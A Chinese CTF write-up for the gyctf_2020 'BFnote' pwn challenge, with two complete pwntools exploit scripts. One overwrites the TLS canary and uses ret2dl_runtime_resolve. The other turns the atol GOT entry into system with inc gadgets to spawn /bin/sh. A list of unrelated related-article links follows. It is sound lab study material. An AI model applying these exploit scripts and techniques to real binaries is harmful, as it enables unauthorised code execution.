题目链接:https://buuoj.cn/challenges#gyctf_2020_bfnote

首先检查程序开的保护:

发现程序只开了canary和NX保护,接下来查看IDA反汇编出来的为代码,发现在输入description时存在栈溢出:

在输入note时存在堆溢出:

本题的难点在于不能通过覆盖canary的低字节来泄漏canary,也不好泄漏libc基址来构造ROP。

解法一:

canary是Linux的栈溢出保护机制,通常情况下是保存在TLS结构体中,而TLS结构体是由mmap分配的内存空间,故给了我们利用的可能。

利用思路:

  • 分配一个大小为0x200000的chunk,此时会调用mmap分配内存
  • 由上文的堆溢出漏洞可知,我们只要控制好v4的值,就可以向TLS结构体中写入数据,从而覆盖原有的canary
  • 绕过canary保护后通过把栈迁移到.bss段
  • ret2_dl_runtime_resolve

在构造ret2_dl_runtime_resolve时要注意利用的.bss地址不要过大或过小

ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx]; //在伪造时注意此处下标过大会指向非法地址导致失败

最终利用脚本:

#-*- coding:utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./BFnote')
#p = remote('node3.buuoj.cn', 28177)
elf = ELF('BFnote')
libc = ELF('libc.so.6') atol_got = elf.got['atol']
leave_ret = 0x08048578
read_plt = elf.plt['read']
pop_esi_edi_ebp_ret = 0x080489d9
pop_ebp_ret = 0x080489db
plt_0 = 0x08048450
_rel_plt = 0x080483d0
dynsym = 0x080481d8
dynstr = 0x080482c8 p.recvuntil('Give your description : ')
payload = 'A'*50 + '\x00\x41\x41\x41' + 'AAAA' + p32(0x0804a064)
p.sendline(payload) p.recvuntil('Give your postscript : ')
payload = p32(read_plt) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(0x0804a400) + p32(100) + p32(pop_ebp_ret) + p32(0x0804a400) + p32(leave_ret)
payload = payload.ljust(0x600, '\x00')
p.send(payload) p.recvuntil('Give your notebook size : ')
p.sendline(str(0x200000)) p.recvuntil('Give your title size : ')
p.sendline(str(0x2016fc)) p.recvuntil('please re-enter :\n')
p.sendline('16') p.recvuntil('Give your title : ')
p.sendline('CCCCCCCCCCCCC') p.recvuntil('Give your note : ')
p.send('\x00\x41\x41\x41') index_offset = 0x0804a41c - _rel_plt
r_offset = atol_got
r_info = (((0x0804a428 - dynsym) / 0x10) << 8) | 0x07
fake_reloc = p32(r_offset) + p32(r_info)
offset = 0x0804a400 + 0x50 - dynstr
fake_dynsym = p32(offset) + p32(0) + p32(0) + p32(0x12) payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA' #函数返回地址,此处可随意
payload2 += p32(0x0804a400 + 0x50 + 0x8) #/bin/sh地址
payload2 += p32(0)
payload2 += p32(0)
payload2 += fake_reloc #0x0804a41c
payload2 += 'AAAA'
payload2 += fake_dynsym #0x0804a428
payload2 += 'A'*(80 - len(payload2))
payload2 += 'execve\x00\x00'
payload2 += '/bin/sh\x00'
payload2 += 'A'*(100 - len(payload2))
#gdb.attach(p)
p.send(payload2)
p.interactive()

解法二:

通过调试我们可以发现atol函数的地址低于system函数的地址,用命令ROPgadget --binary BFnote --only 'inc|ret'发现程序有这样一段gadget:

通过调试发现除去最低位后atol和system函数地址偏移相差0xdb

利用思路:

  • 利用inc把atol地址加0xdb
  • 向atol的最低位写入'\xa0'

最终exp如下:

#-*- coding:utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./BFnote')
#p = remote('node3.buuoj.cn', 28092)
elf = ELF('BFnote')
libc = ELF('libc.so.6') atol_got = elf.got['atol']
atol_plt = elf.plt['atol']
leave_ret = 0x08048578
read_plt = elf.plt['read']
pop_esi_edi_ebp_ret = 0x080489d9
pop_ebp_ret = 0x080489db
plt_0 = 0x08048450
_rel_plt = 0x080483d0
dynsym = 0x080481d8
dynstr = 0x080482c8
inc_ebp_ret = 0x08048434
ret_addr = 0x0804842a p.recvuntil('Give your description : ')
payload = 'A'*50 + '\x00\x41\x41\x41' + 'AAAA' + p32(0x0804a204) #栈迁移到0x0804a500处
p.sendline(payload) p.recvuntil('Give your postscript : ')
payload = '/bin/sh\x00'.ljust(0x1a0, '\x00')
payload += p32(pop_ebp_ret) + p32(atol_got + 1 + 0x17fa8b40)
payload += p32(inc_ebp_ret) * 0xDB
payload += p32(read_plt) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(atol_got) + p32(1) + p32(ret_addr) + p32(ret_addr) + p32(atol_plt) + 'AAAA' + p32(0x0804a060)
info("length of payload ==> " + str(len(payload)))
payload = payload.ljust(0x600, '\x00')
#gdb.attach(p)
p.send(payload) p.recvuntil('Give your notebook size : ')
#gdb.attach(p)
p.sendline(str(0x200000)) p.recvuntil('Give your title size : ')
p.sendline(str(0x2016fc)) p.recvuntil('please re-enter :\n')
#gdb.attach(p)
p.sendline('16') p.recvuntil('Give your title : ')
p.sendline('CCCCCCCCCCCCC') p.recvuntil('Give your note : ')
#gdb.attach(p)
p.send('\x00\x41\x41\x41') #gdb.attach(p)
p.send('\xA0') p.interactive()

i春秋公益赛之BFnote的更多相关文章

  1. i春秋公益赛 ezpload

    题目思路:一看解出的人比较多,emmm,传个马,命令执行一下.最后读到flag文件. /readflag,可执行. 题对萌新比较友好...... 考点:Linux命令,文件上传,命令执行. http: ...

  2. i春秋公益赛之signin

    题目链接:https://buuoj.cn/challenges#gyctf_2020_signin 查看程序保护 只开了canary和NX保护,在IDA查看反编译出来的为代码时发现程序给了一个后门 ...

  3. i春秋第二届春秋欢乐赛RSA256writeup

    i春秋第二届春秋欢乐赛writeup 下载之后进行解压 发现四个文件 0x01看到题目是RSA的  又看到public.key 所以直接用kali linux的openssl 0x02可以看到e就是E ...

  4. 2020 i春秋新春战疫公益赛 misc

    0x01 code_in_morse morse decode后得到: RFIE4RYNBINAUAAAAAGUSSCEKIAAAAEUAAAAA7AIAYAAAAEPFOMTWAAABANUSRCB ...

  5. i春秋2020新春公益赛WP

    Re Factory 主函数fork了一个子进程,父进程添加了一个信号处理器用于比对input,然后死循环挂起.子进程读入input,然后调用了关键函数. 跟进关键函数,发现是从一段内存中读取数据,然 ...

  6. 2017 百度杯丶春秋欢乐赛 writeup

    1. 内涵图(Misc) 题目: 我不是一个简单的图片 我是一个有内涵的图片 解:保存到桌面,右键属性->详细信息,即可获得flag. 2. 小电影(Misc) 题目: 我说过 这次比赛是让大家 ...

  7. 2020新春公益赛 writeup

    简单的招聘系统 无需注册账号,admin'or 1#登陆,到blank page页面,在输入key处发现有注入点: /pages-blank.php?key=1%27+union+select+1%2 ...

  8. CTF中的命令执行绕过

    本位原创作者:Smity 在介绍命令注入之前,有一点需要注意:命令注入与远程代码执行不同.他们的区别在于,远程代码执行实际上是调用服务器网站代码进行执行,而命令注入则是调用操作系统命令进行执行. 作为 ...

  9. CTF练习三 —— 命令注入&命令执行绕过

    这个题是第四届强网杯也就是2020.8.22号开始的那场一道简单的命令注入题,再这之前我并没有学习过命令注之类的知识,,,看到题之后先搜在学,,误打误撞解了出来,过段时间wp就会放出来,所以这里就不对 ...

随机推荐

  1. [leetcode/lintcode 题解] Google面试题:合法组合

    给一个单词s,和一个字符串集合str.这个单词每次去掉一个字母,直到剩下最后一个字母.求验证是否存在一种删除的顺序,这个顺序下所有的单词都在str中.例如单词是’abc’,字符串集合是{‘a’,’ab ...

  2. 2020-05-18:MYSQL为什么用B+树做索引结构?平时过程中怎么加的索引?

    福哥答案2020-05-18:此答案来自群员:因为4.0成型那个年代,B树体系大量用于文件存储系统,甚至当年的Longhorn的winFS都是基于b树做索引,开源而且好用的也就这么个体系了.B+树的磁 ...

  3. 花式求解 LeetCode 279题-Perfect Squares

    原文地址 https://www.jianshu.com/p/2925f4d7511b 迫于就业的压力,不得不先放下 iOS 开发的学习,开始走上漫漫刷题路. 今天我想聊聊 LeetCode 上的第2 ...

  4. 在虚拟机中安装Mysql

    目录 下载Mysql 安装 配置mysql允许远程访问 下载Mysql 下载地址:http://dev.mysql.com/downloads/mysql 我这里下载的是安装版本 安装 配置mysql ...

  5. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  6. 《MySQL必知必会》检索数据,排序检索数据(select ,* ,distinct ,limit , . , order by ,desc)

    <MySQL必知必会>检索数据,排序检索数据 1.检索数据 1.1 select 语句 为了使用SELECT检索表数据,必须至少给出两条信息一想选择什 么,以及从什么地方选择. 1.2 检 ...

  7. java集合初探(一):HashMap.

    一.概述 HashMap可能是我们最经常用的Map接口的实现了.话不多说,我们先看看HashMap类的注释: 基于哈希表的Map接口实现. 这个实现提供了所有可选的映射操作,并允许空值和空键.(Has ...

  8. Windows Server2008RFTP隔离账户的搭建

    Step1:添加用户 打开DOS命令, net user net user u1 123.com /add net user u2 123.com /add Step2:创建文件夹 Step3:修改用 ...

  9. Mybatis_day1

    mybatis框架的引入: JDBC里面 对功能实现的进一步封装,可以按照以下方式操作 Student s = new Student(id,name); util.save(s); ORM: obj ...

  10. Linux之lldptool工具

    1. 描述当我们想在操作系统里面查看网口和交换机连接的状态信息,我们可以使用lldptool这个工具2.LLDP协议LLDP是Link Layer Discovery Protocol 链路层发现协议 ...